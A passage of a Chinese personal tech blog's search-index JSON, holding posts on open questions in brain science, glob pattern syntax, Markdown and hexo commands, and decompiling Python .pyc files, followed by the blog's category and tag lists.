行为转换等多种脑功能，并参与修饰和调控记忆及相关认知过程。人类智慧的形成和复杂社会体系的建立，均与情绪情感程序的进化和固化有关。情绪情感相关精神疾病也在持续和广泛地困扰人类社会。因此，研究情绪情感的脑机制是脑科学研究领域最令人兴奋的方向之一，其研究成果也将为相关精神疾病的诊断和治疗提供新的策略和手段。 八、学习的生物学基础是什么？动物需要适应环境变化，而学习就是神经系统把环境信息转变成经验的编码过程，与学习密切相关的记忆则是神经系统对这些经验的存储和提取的过程。研究学习记忆的神经生物学机制是神经科学领域至关重要的研究方向，也是阐明认知功能障碍的关键。 九、潜意识的脑科学机制是什么？潜意识指 “已然发生但并未达到意识水平的心理活动过程或内容”，被认为是最复杂的心理现象，可能成为阐明人类意识大脑机制的突破口。随着认知神经科学和脑科学等交叉学科研究的发展，以及脑图谱技术、基因技术的进步，对潜意识的脑科学机制研究可能会有更大的突破。 十、人类决策的脑处理机制是什么？决策脑机制的研究日益受到重视，但决策偏好的神经机理还远未被揭开。系统探究决策脑机制，不仅有助于揭示决策者价值权衡过程的神经基础，还能为基于神经信号预测人的决策倾向，以及诊治决策异常相关脑疾病提供科学研究依据。 参考文献浙江大学面向 2030 的学科会聚研究计划（创新 2030 计划）“意识、脑与人工智能” 十大科学问题","categories":[{"name":"会议报告","slug":"会议报告","permalink":"https://blog.mhuig.top/categories/%E4%BC%9A%E8%AE%AE%E6%8A%A5%E5%91%8A/"}],"tags":[{"name":"人工智能","slug":"人工智能","permalink":"https://blog.mhuig.top/tags/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/"},{"name":"脑科学","slug":"脑科学","permalink":"https://blog.mhuig.top/tags/%E8%84%91%E7%A7%91%E5%AD%A6/"}]},{"title":"Glob 表达式","slug":"web/glob表达式","date":"2019-09-11T13:05:18.000Z","updated":"2019-09-11T13:05:18.000Z","comments":true,"path":"p/55b264de/","link":"","permalink":"https://blog.mhuig.top/p/55b264de/","excerpt":"glob 是 shell 使用的路径匹配符，类似于正则表达式，但是与正则表达式不完全相同。在 linux 操作中如文件匹配等等其实已经使用了 glob 通配符。由于其在路径匹配方面的强大，其他语言也有相应的实现。我在使用基于 node 的 gulp 时遇到 glob 匹配文件路径，于是顺便整理一下 glob 的基础语法和使用。","text":"glob 是 shell 使用的路径匹配符，类似于正则表达式，但是与正则表达式不完全相同。在 linux 操作中如文件匹配等等其实已经使用了 glob 通配符。由于其在路径匹配方面的强大，其他语言也有相应的实现。我在使用基于 node 的 gulp 时遇到 glob 匹配文件路径，于是顺便整理一下 glob 的基础语法和使用。 glob 表达式 (glob expressions) 通配符：* 匹配文件路径中的0个或多个字符，但**不会匹配路径分隔符，除非路径分隔符出现在末尾。** 匹配路径中的0个或多个目录及其子目录，如果出现在末尾，也能匹配文件。? 匹配文件路径中的一个字符(不会匹配路径分隔符)。[...] 匹配方括号中出现的字符中的任意一个，当方括号中第一个字符为 ·^ 或 ! 时，则表示不匹配方括号中出现的其他字符中的任意一个。!(pattern|pattern|pattern) 匹配任何与括号中给定的任一参数都不匹配的。?(pattern|pattern|pattern) 匹配括号中给定的任一参数0次或1次。+(pattern|pattern|pattern) 匹配括号中给定的任一参数1次或多次。*(pattern|pattern|pattern) 匹配括号中给定的任一参数0次或多次。@(pattern|pattern|pattern) 匹配括号中给定的任一参数1次。 用实例来加深理解： * 能匹配 a.js , x.y , abc , abc/ ，但不能匹配 a/b.js*.* 能匹配 a.js , style.css , a.b , x.y*/*/*.js 能匹配 a/b/c.js , x/y/z.js ，不能匹配 a/b.js , a/b/c/d.js** 能匹配 abc , a/b.js , a/b/c.js , x/y/z , x/y/z/a.b ，能用来匹配所有的目录和文件**/*.js 能匹配 foo.js , a/foo.js , a/b/foo.js , a/b/c/foo.jsa/**/z 能匹配 a/z , a/b/z , a/b/c/z , a/d/g/h/j/k/za/**b/z 能匹配 a/b/z , a/sb/z ，但不能匹配 a/x/sb/z ，因为只有单 ** 单独出现才能匹配多级目录?.js 能匹配 a.js , b.js , c.jsa?? 能匹配 a.b , abc ，但不能匹配 ab/ ，因为它不会匹配路径分隔符[xyz].js 只能匹配 x.js , y.js , z.js ，不会匹配 xy.js , xyz.js 等，整个中括号只代表一个字符[^xyz].js 能匹配 a.js , b.js , c.js 等，不能匹配 x.js , y.js , z.js 当有多种匹配模式时可以使用数组： // 使用数组的方式来匹配多种文件gulp.src([ 'js/*.min.js', 'sass/*.min.css' ]) 使用数组的方式还有一个好处就是可以很方便的使用排除模式，在数组中的单个匹配模式前加上！即是排除模式，它会在匹配的结果中排除这个匹配，要注意一点的是不能在数组中的第一个元素中使用排除模式： // 使用数组的方式来匹配多种文件gulp.src(['*.js','!b*.js']) // 匹配所有js文件，但排除掉以b开头的js文件gulp.src(['!b*.js',*.js]) // 不会排除任何文件，因为排除模式不能出现在数组的第一个元素中 此外，还可以使用展开模式。展开模式以花括号作为定界符，根据它里面的内容，会展开为多个模式，最后匹配的结果为所有展开的模式相加起来得到的结果。展开的例子如下： a {b,c} d 会展开为 abd,acd a {b,} c 会展开为 abc,ac a {0..3} d 会展开为 a0d , a1d , a2d , a3d a {b,c {d,e} f} g 会展开为 abg , acdfg , acefg a {b,c} d {e,f} g 会展开为 abdeg , acdeg , abdeg , abdfg","categories":[{"name":"Linux","slug":"Linux","permalink":"https://blog.mhuig.top/categories/Linux/"},{"name":"shell","slug":"Linux/shell","permalink":"https://blog.mhuig.top/categories/Linux/shell/"}],"tags":[{"name":"Linux","slug":"Linux","permalink":"https://blog.mhuig.top/tags/Linux/"},{"name":"shell","slug":"shell","permalink":"https://blog.mhuig.top/tags/shell/"},{"name":"通配符","slug":"通配符","permalink":"https://blog.mhuig.top/tags/%E9%80%9A%E9%85%8D%E7%AC%A6/"},{"name":"glob表达式","slug":"glob表达式","permalink":"https://blog.mhuig.top/tags/glob%E8%A1%A8%E8%BE%BE%E5%BC%8F/"}]},{"title":"","slug":"notes/OS","date":"2019-09-10T23:56:00.000Z","updated":"2022-05-12T23:56:00.000Z","comments":false,"path":"p/notes-os/","link":"","permalink":"https://blog.mhuig.top/p/notes-os/","excerpt":"","text":".fa-secondary{opacity:.4} OS OS 开始阅读","categories":[{"name":"操作系统","slug":"操作系统","permalink":"https://blog.mhuig.top/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/"},{"name":"OS","slug":"操作系统/OS","permalink":"https://blog.mhuig.top/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/OS/"}],"tags":[{"name":"OS","slug":"OS","permalink":"https://blog.mhuig.top/tags/OS/"}]},{"title":"hexo 命令及 Markdown 语法","slug":"web/hexo命令及Markdown语法","date":"2019-09-05T03:33:59.000Z","updated":"2019-09-05T03:33:59.000Z","comments":true,"path":"p/f8d2d5ec/","link":"","permalink":"https://blog.mhuig.top/p/f8d2d5ec/","excerpt":"hexo 是使用 Markdown 编辑文章的，我写的这些文章也都是用这种标记语言完成的。所以，我们先从 Markdown 说起。","text":"hexo 是使用 Markdown 编辑文章的，我写的这些文章也都是用这种标记语言完成的。所以，我们先从 Markdown 说起。 前言你可以使用 vim 工具直接编辑 md 文件，也可以用记事本打开 md 文件编辑你的文章，也可以 Markdown 的编辑器编写，有很多在线的编辑器，何有不少客户端的编辑器. 什么是 MarkdownMarkdown 是一种轻量级标记语言，创始人为约翰・格鲁伯和亚伦・斯沃茨。它允许人们 “使用易读易写的纯文本格式编写文档，然后转换成有效的 XHTML 文档”。 —— 维基百科 先简单介绍一下，Markdown 的语法，具体怎么用，我相信大家一看例文就马上明白了。 Markdown 语法1、分段： 两个回车 2、换行 两个空格 + 回车 3、标题 # ~ ###### 井号的个数表示几级标题，即 Markdown 可以表示一级标题到六级标题 4、引用 &gt; 5、列表 * ， + ， - ， 1. ，选其中之一，注意后面有个空格 6、代码区块 四个空格 开头 7、链接 [文字](链接地址) 文字 8、图片 ![](图片地址) //图片地址可以是本地路径，也可以是网络地址 9、强调 **文字** ， __文字__ ， _文字_ ， *文字* 文字 ， 文字 ， 文字 ， 文字 10、代码 ```，`` hexo 常用命令我们在前面的已经略微的接触了一些 hexo 的命令，如 hexo new “my blog” ， hexo server 等。下面来介绍一下我们经常会用到的 hexo 命令 1、新建 hexo new \"my blog\" 新建的文件在 hexo/source/_posts/my-blog.md 2、生成静态页面 hexo g 一般部署上去的时候都需要编译一下，编译后，会出现一个 public 文件夹，将所有的 md 文件编译成 html 文件 3、开启本地服务 hexo s 这个命令，我之前已经用过了，开启本地 hexo 服务用的 4、部署 hexo d 部署到 git 上的时候，需要用这个命令 5、清除 public hexo clean 当 source 文件夹中的部分资源更改过之后，特别是对文件进行了删除或者路径的改变之后，需要执行这个命令，然后重新编译。","categories":[{"name":"Web","slug":"Web","permalink":"https://blog.mhuig.top/categories/Web/"},{"name":"hexo","slug":"Web/hexo","permalink":"https://blog.mhuig.top/categories/Web/hexo/"}],"tags":[{"name":"hexo","slug":"hexo","permalink":"https://blog.mhuig.top/tags/hexo/"},{"name":"Markdown","slug":"Markdown","permalink":"https://blog.mhuig.top/tags/Markdown/"}]},{"title":"","slug":"notes/51","date":"2018-12-01T23:56:00.000Z","updated":"2022-05-12T23:56:00.000Z","comments":false,"path":"p/notes-51/","link":"","permalink":"https://blog.mhuig.top/p/notes-51/","excerpt":"","text":".fa-secondary{opacity:.4} 51 51 开始阅读","categories":[{"name":"51","slug":"51","permalink":"https://blog.mhuig.top/categories/51/"}],"tags":[{"name":"51","slug":"51","permalink":"https://blog.mhuig.top/tags/51/"}]},{"title":"pyc 文件反编译到 Python 源码","slug":"Python/pyc文件反编译到Python源码","date":"2018-12-01T08:20:24.000Z","updated":"2018-12-01T08:20:24.000Z","comments":true,"path":"p/14fa5bba/","link":"","permalink":"https://blog.mhuig.top/p/14fa5bba/","excerpt":"pyc 文件反编译到 Python 源码","text":"pyc 文件反编译到 Python 源码 使用 uncompyle 项目地址：https://github.com/wibiti/uncompyle2 注： 按照官方文档的说法应该是只支持 python 2.7，其他版本我也没有测试 安装最方便的就是使用 pip 安装 pip install uncompyle 使用方法查看帮助uncompyle6 --help 将 models.pyc 反编译成 py 文件uncompyle6 models.pyc &gt; models.py 将当前文件夹中所有的 pyc 文件反编译成后缀名为.pyc_dis 的源文件uncompile -o . *.pyc","categories":[{"name":"Python","slug":"Python","permalink":"https://blog.mhuig.top/categories/Python/"},{"name":"反编译","slug":"Python/反编译","permalink":"https://blog.mhuig.top/categories/Python/%E5%8F%8D%E7%BC%96%E8%AF%91/"}],"tags":[{"name":"Python","slug":"Python","permalink":"https://blog.mhuig.top/tags/Python/"},{"name":"反编译","slug":"反编译","permalink":"https://blog.mhuig.top/tags/%E5%8F%8D%E7%BC%96%E8%AF%91/"}]},{"title":"","slug":"notes/Cryptography","date":"2018-11-29T23:56:00.000Z","updated":"2022-05-12T23:56:00.000Z","comments":false,"path":"p/notes-cryptography/","link":"","permalink":"https://blog.mhuig.top/p/notes-cryptography/","excerpt":"","text":".fa-secondary{opacity:.4} Cryptography Cryptography 开始阅读","categories":[{"name":"Cryptography","slug":"Cryptography","permalink":"https://blog.mhuig.top/categories/Cryptography/"}],"tags":[{"name":"Cryptography","slug":"Cryptography","permalink":"https://blog.mhuig.top/tags/Cryptography/"}]}],"categories":[{"name":"数据通信网络","slug":"数据通信网络","permalink":"https://blog.mhuig.top/categories/%E6%95%B0%E6%8D%AE%E9%80%9A%E4%BF%A1%E7%BD%91%E7%BB%9C/"},{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/categories/%E9%9A%8F%E7%AC%94/"},{"name":"Data mining","slug":"Data-mining","permalink":"https://blog.mhuig.top/categories/Data-mining/"},{"name":"操作系统","slug":"操作系统","permalink":"https://blog.mhuig.top/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/"},{"name":"Windows","slug":"操作系统/Windows","permalink":"https://blog.mhuig.top/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Windows/"},{"name":"CoPoKo","slug":"CoPoKo","permalink":"https://blog.mhuig.top/categories/CoPoKo/"},{"name":"以太坊","slug":"以太坊","permalink":"https://blog.mhuig.top/categories/%E4%BB%A5%E5%A4%AA%E5%9D%8A/"},{"name":"智能合约","slug":"以太坊/智能合约","permalink":"https://blog.mhuig.top/categories/%E4%BB%A5%E5%A4%AA%E5%9D%8A/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6/"},{"name":"哲学","slug":"哲学","permalink":"https://blog.mhuig.top/categories/%E5%93%B2%E5%AD%A6/"},{"name":"Web","slug":"Web","permalink":"https://blog.mhuig.top/categories/Web/"},{"name":"IPv6","slug":"Web/IPv6","permalink":"https://blog.mhuig.top/categories/Web/IPv6/"},{"name":"Math","slug":"Math","permalink":"https://blog.mhuig.top/categories/Math/"},{"name":"BigData","slug":"BigData","permalink":"https://blog.mhuig.top/categories/BigData/"},{"name":"NLP","slug":"NLP","permalink":"https://blog.mhuig.top/categories/NLP/"},{"name":"边缘计算","slug":"边缘计算","permalink":"https://blog.mhuig.top/categories/%E8%BE%B9%E7%BC%98%E8%AE%A1%E7%AE%97/"},{"name":"大数据","slug":"大数据","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/"},{"name":"Spark","slug":"大数据/Spark","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/Spark/"},{"name":"Ubuntu","slug":"操作系统/Ubuntu","permalink":"https://blog.mhuig.top/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Ubuntu/"},{"name":"实验性","slug":"实验性","permalink":"https://blog.mhuig.top/categories/%E5%AE%9E%E9%AA%8C%E6%80%A7/"},{"name":"Time","slug":"随笔/Time","permalink":"https://blog.mhuig.top/categories/%E9%9A%8F%E7%AC%94/Time/"},{"name":"Hello","slug":"随笔/Hello","permalink":"https://blog.mhuig.top/categories/%E9%9A%8F%E7%AC%94/Hello/"},{"name":"概率","slug":"Math/概率","permalink":"https://blog.mhuig.top/categories/Math/%E6%A6%82%E7%8E%87/"},{"name":"JavaScript","slug":"JavaScript","permalink":"https://blog.mhuig.top/categories/JavaScript/"},{"name":"Python","slug":"Python","permalink":"https://blog.mhuig.top/categories/Python/"},{"name":"npm","slug":"npm","permalink":"https://blog.mhuig.top/categories/npm/"},{"name":"NoSQL","slug":"大数据/NoSQL","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/NoSQL/"},{"name":"解释器","slug":"Python/解释器","permalink":"https://blog.mhuig.top/categories/Python/%E8%A7%A3%E9%87%8A%E5%99%A8/"},{"name":"模板","slug":"模板","permalink":"https://blog.mhuig.top/categories/%E6%A8%A1%E6%9D%BF/"},{"name":"maven","slug":"模板/maven","permalink":"https://blog.mhuig.top/categories/%E6%A8%A1%E6%9D%BF/maven/"},{"name":"Flink","slug":"大数据/Flink","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/Flink/"},{"name":"线性代数","slug":"Math/线性代数","permalink":"https://blog.mhuig.top/categories/Math/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0/"},{"name":"机器学习","slug":"机器学习","permalink":"https://blog.mhuig.top/categories/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/"},{"name":"机器视觉","slug":"机器学习/机器视觉","permalink":"https://blog.mhuig.top/categories/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/%E6%9C%BA%E5%99%A8%E8%A7%86%E8%A7%89/"},{"name":"Django","slug":"Web/Django","permalink":"https://blog.mhuig.top/categories/Web/Django/"},{"name":"CentOS","slug":"操作系统/CentOS","permalink":"https://blog.mhuig.top/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/CentOS/"},{"name":"Echarts","slug":"大数据/Echarts","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/Echarts/"},{"name":"Azkaban","slug":"大数据/Azkaban","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/Azkaban/"},{"name":"Sqoop","slug":"大数据/Sqoop","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/Sqoop/"},{"name":"Kafka","slug":"大数据/Kafka","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/Kafka/"},{"name":"Flume","slug":"大数据/Flume","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/Flume/"},{"name":"Hive","slug":"大数据/Hive","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/Hive/"},{"name":"Hadoop","slug":"大数据/Hadoop","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/Hadoop/"},{"name":"Zookeeper","slug":"大数据/Zookeeper","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/Zookeeper/"},{"name":"会议报告","slug":"会议报告","permalink":"https://blog.mhuig.top/categories/%E4%BC%9A%E8%AE%AE%E6%8A%A5%E5%91%8A/"},{"name":"Linux","slug":"Linux","permalink":"https://blog.mhuig.top/categories/Linux/"},{"name":"shell","slug":"Linux/shell","permalink":"https://blog.mhuig.top/categories/Linux/shell/"},{"name":"OS","slug":"操作系统/OS","permalink":"https://blog.mhuig.top/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/OS/"},{"name":"hexo","slug":"Web/hexo","permalink":"https://blog.mhuig.top/categories/Web/hexo/"},{"name":"51","slug":"51","permalink":"https://blog.mhuig.top/categories/51/"},{"name":"反编译","slug":"Python/反编译","permalink":"https://blog.mhuig.top/categories/Python/%E5%8F%8D%E7%BC%96%E8%AF%91/"},{"name":"Cryptography","slug":"Cryptography","permalink":"https://blog.mhuig.top/categories/Cryptography/"}],"tags":[{"name":"数据通信网络","slug":"数据通信网络","permalink":"https://blog.mhuig.top/tags/%E6%95%B0%E6%8D%AE%E9%80%9A%E4%BF%A1%E7%BD%91%E7%BB%9C/"},{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/tags/%E9%9A%8F%E7%AC%94/"},{"name":"Data mining","slug":"Data-mining","permalink":"https://blog.mhuig.top/tags/Data-mining/"},{"name":"推荐系统","slug":"推荐系统","permalink":"https://blog.mhuig.top/tags/%E6%8E%A8%E8%8D%90%E7%B3%BB%E7%BB%9F/"},{"name":"Windows","slug":"Windows","permalink":"https://blog.mhuig.top/tags/Windows/"},{"name":"CoPoKo","slug":"CoPoKo","permalink":"https://blog.mhuig.top/tags/CoPoKo/"},{"name":"以太坊","slug":"以太坊","permalink":"https://blog.mhuig.top/tags/%E4%BB%A5%E5%A4%AA%E5%9D%8A/"},{"name":"智能合约","slug":"智能合约","permalink":"https://blog.mhuig.top/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6/"},{"name":"区块链","slug":"区块链","permalink":"https://blog.mhuig.top/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/"},{"name":"哲学","slug":"哲学","permalink":"https://blog.mhuig.top/tags/%E5%93%B2%E5%AD%A6/"},{"name":"philosophy","slug":"philosophy","permalink":"https://blog.mhuig.top/tags/philosophy/"},{"name":"chaos","slug":"chaos","permalink":"https://blog.mhuig.top/tags/chaos/"},{"name":"Web","slug":"Web","permalink":"https://blog.mhuig.top/tags/Web/"},{"name":"IPv6","slug":"IPv6","permalink":"https://blog.mhuig.top/tags/IPv6/"},{"name":"加密备忘录","slug":"加密备忘录","permalink":"https://blog.mhuig.top/tags/%E5%8A%A0%E5%AF%86%E5%A4%87%E5%BF%98%E5%BD%95/"},{"name":"Math","slug":"Math","permalink":"https://blog.mhuig.top/tags/Math/"},{"name":"分形","slug":"分形","permalink":"https://blog.mhuig.top/tags/%E5%88%86%E5%BD%A2/"},{"name":"混沌","slug":"混沌","permalink":"https://blog.mhuig.top/tags/%E6%B7%B7%E6%B2%8C/"},{"name":"BigData","slug":"BigData","permalink":"https://blog.mhuig.top/tags/BigData/"},{"name":"NLP","slug":"NLP","permalink":"https://blog.mhuig.top/tags/NLP/"},{"name":"Machine Learning","slug":"Machine-Learning","permalink":"https://blog.mhuig.top/tags/Machine-Learning/"},{"name":"R","slug":"R","permalink":"https://blog.mhuig.top/tags/R/"},{"name":"边缘计算","slug":"边缘计算","permalink":"https://blog.mhuig.top/tags/%E8%BE%B9%E7%BC%98%E8%AE%A1%E7%AE%97/"},{"name":"Spark","slug":"Spark","permalink":"https://blog.mhuig.top/tags/Spark/"},{"name":"Ubuntu","slug":"Ubuntu","permalink":"https://blog.mhuig.top/tags/Ubuntu/"},{"name":"实验性","slug":"实验性","permalink":"https://blog.mhuig.top/tags/%E5%AE%9E%E9%AA%8C%E6%80%A7/"},{"name":"Time","slug":"Time","permalink":"https://blog.mhuig.top/tags/Time/"},{"name":"Hello","slug":"Hello","permalink":"https://blog.mhuig.top/tags/Hello/"},{"name":"概率","slug":"概率","permalink":"https://blog.mhuig.top/tags/%E6%A6%82%E7%8E%87/"},{"name":"神经网络","slug":"神经网络","permalink":"https://blog.mhuig.top/tags/%E7%A5%9E%E7%BB%8F%E7%BD%91%E7%BB%9C/"},{"name":"JavaScript","slug":"JavaScript","permalink":"https://blog.mhuig.top/tags/JavaScript/"},{"name":"反调试","slug":"反调试","permalink":"https://blog.mhuig.top/tags/%E5%8F%8D%E8%B0%83%E8%AF%95/"},{"name":"Python","slug":"Python","permalink":"https://blog.mhuig.top/tags/Python/"},{"name":"npm","slug":"npm","permalink":"https://blog.mhuig.top/tags/npm/"},{"name":"距离","slug":"距离","permalink":"https://blog.mhuig.top/tags/%E8%B7%9D%E7%A6%BB/"},{"name":"NoSQL","slug":"NoSQL","permalink":"https://blog.mhuig.top/tags/NoSQL/"},{"name":"解释器","slug":"解释器","permalink":"https://blog.mhuig.top/tags/%E8%A7%A3%E9%87%8A%E5%99%A8/"},{"name":"源码保护","slug":"源码保护","permalink":"https://blog.mhuig.top/tags/%E6%BA%90%E7%A0%81%E4%BF%9D%E6%8A%A4/"},{"name":"加解密","slug":"加解密","permalink":"https://blog.mhuig.top/tags/%E5%8A%A0%E8%A7%A3%E5%AF%86/"},{"name":"maven","slug":"maven","permalink":"https://blog.mhuig.top/tags/maven/"},{"name":"模板","slug":"模板","permalink":"https://blog.mhuig.top/tags/%E6%A8%A1%E6%9D%BF/"},{"name":"WebSocket","slug":"WebSocket","permalink":"https://blog.mhuig.top/tags/WebSocket/"},{"name":"SSM","slug":"SSM","permalink":"https://blog.mhuig.top/tags/SSM/"},{"name":"Flink","slug":"Flink","permalink":"https://blog.mhuig.top/tags/Flink/"},{"name":"删除注释","slug":"删除注释","permalink":"https://blog.mhuig.top/tags/%E5%88%A0%E9%99%A4%E6%B3%A8%E9%87%8A/"},{"name":"线性代数","slug":"线性代数","permalink":"https://blog.mhuig.top/tags/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0/"},{"name":"特征向量","slug":"特征向量","permalink":"https://blog.mhuig.top/tags/%E7%89%B9%E5%BE%81%E5%90%91%E9%87%8F/"},{"name":"视知觉","slug":"视知觉","permalink":"https://blog.mhuig.top/tags/%E8%A7%86%E7%9F%A5%E8%A7%89/"},{"name":"Django","slug":"Django","permalink":"https://blog.mhuig.top/tags/Django/"},{"name":"CentOS","slug":"CentOS","permalink":"https://blog.mhuig.top/tags/CentOS/"},{"name":"Echarts","slug":"Echarts","permalink":"https://blog.mhuig.top/tags/Echarts/"},{"name":"Azkaban","slug":"Azkaban","permalink":"https://blog.mhuig.top/tags/Azkaban/"},{"name":"Sqoop","slug":"Sqoop","permalink":"https://blog.mhuig.top/tags/Sqoop/"},{"name":"Kafka","slug":"Kafka","permalink":"https://blog.mhuig.top/tags/Kafka/"},{"name":"Flume","slug":"Flume","permalink":"https://blog.mhuig.top/tags/Flume/"},{"name":"Hive","slug":"Hive","permalink":"https://blog.mhuig.top/tags/Hive/"},{"name":"Hadoop","slug":"Hadoop","permalink":"https://blog.mhuig.top/tags/Hadoop/"},{"name":"Zookeeper","slug":"Zookeeper","permalink":"https://blog.mhuig.top/tags/Zookeeper/"},{"name":"机器学习","slug":"机器学习","permalink":"https://blog.mhuig.top/tags/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/"},{"name":"机器视觉","slug":"机器视觉","permalink":"https://blog.mhuig.top/tags/%E6%9C%BA%E5%99%A8%E8%A7%86%E8%A7%89/"},{"name":"分类器","slug":"分类器","permalink":"https://blog.mhuig.top/tags/%E5%88%86%E7%B1%BB%E5%99%A8/"},{"name":"特征","slug":"特征","permalink":"https://blog.mhuig.top/tags/%E7%89%B9%E5%BE%81/"},{"name":"图像","slug":"图像","permalink":"https://blog.mhuig.top/tags/%E5%9B%BE%E5%83%8F/"},{"name":"数学模型","slug":"数学模型","permalink":"https://blog.mhuig.top/tags/%E6%95%B0%E5%AD%A6%E6%A8%A1%E5%9E%8B/"},{"name":"人工智能","slug":"人工智能","permalink":"https://blog.mhuig.top/tags/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/"},{"name":"脑科学","slug":"脑科学","permalink":"https://blog.mhuig.top/tags/%E8%84%91%E7%A7%91%E5%AD%A6/"},{"name":"Linux","slug":"Linux","permalink":"https://blog.mhuig.top/tags/Linux/"},{"name":"shell","slug":"shell","permalink":"https://blog.mhuig.top/tags/shell/"},{"name":"通配符","slug":"通配符","permalink":"https://blog.mhuig.top/tags/%E9%80%9A%E9%85%8D%E7%AC%A6/"},{"name":"glob表达式","slug":"glob表达式","permalink":"https://blog.mhuig.top/tags/glob%E8%A1%A8%E8%BE%BE%E5%BC%8F/"},{"name":"OS","slug":"OS","permalink":"https://blog.mhuig.top/tags/OS/"},{"name":"hexo","slug":"hexo","permalink":"https://blog.mhuig.top/tags/hexo/"},{"name":"Markdown","slug":"Markdown","permalink":"https://blog.mhuig.top/tags/Markdown/"},{"name":"51","slug":"51","permalink":"https://blog.mhuig.top/tags/51/"},{"name":"反编译","slug":"反编译","permalink":"https://blog.mhuig.top/tags/%E5%8F%8D%E7%BC%96%E8%AF%91/"},{"name":"Cryptography","slug":"Cryptography","permalink":"https://blog.mhuig.top/tags/Cryptography/"}]}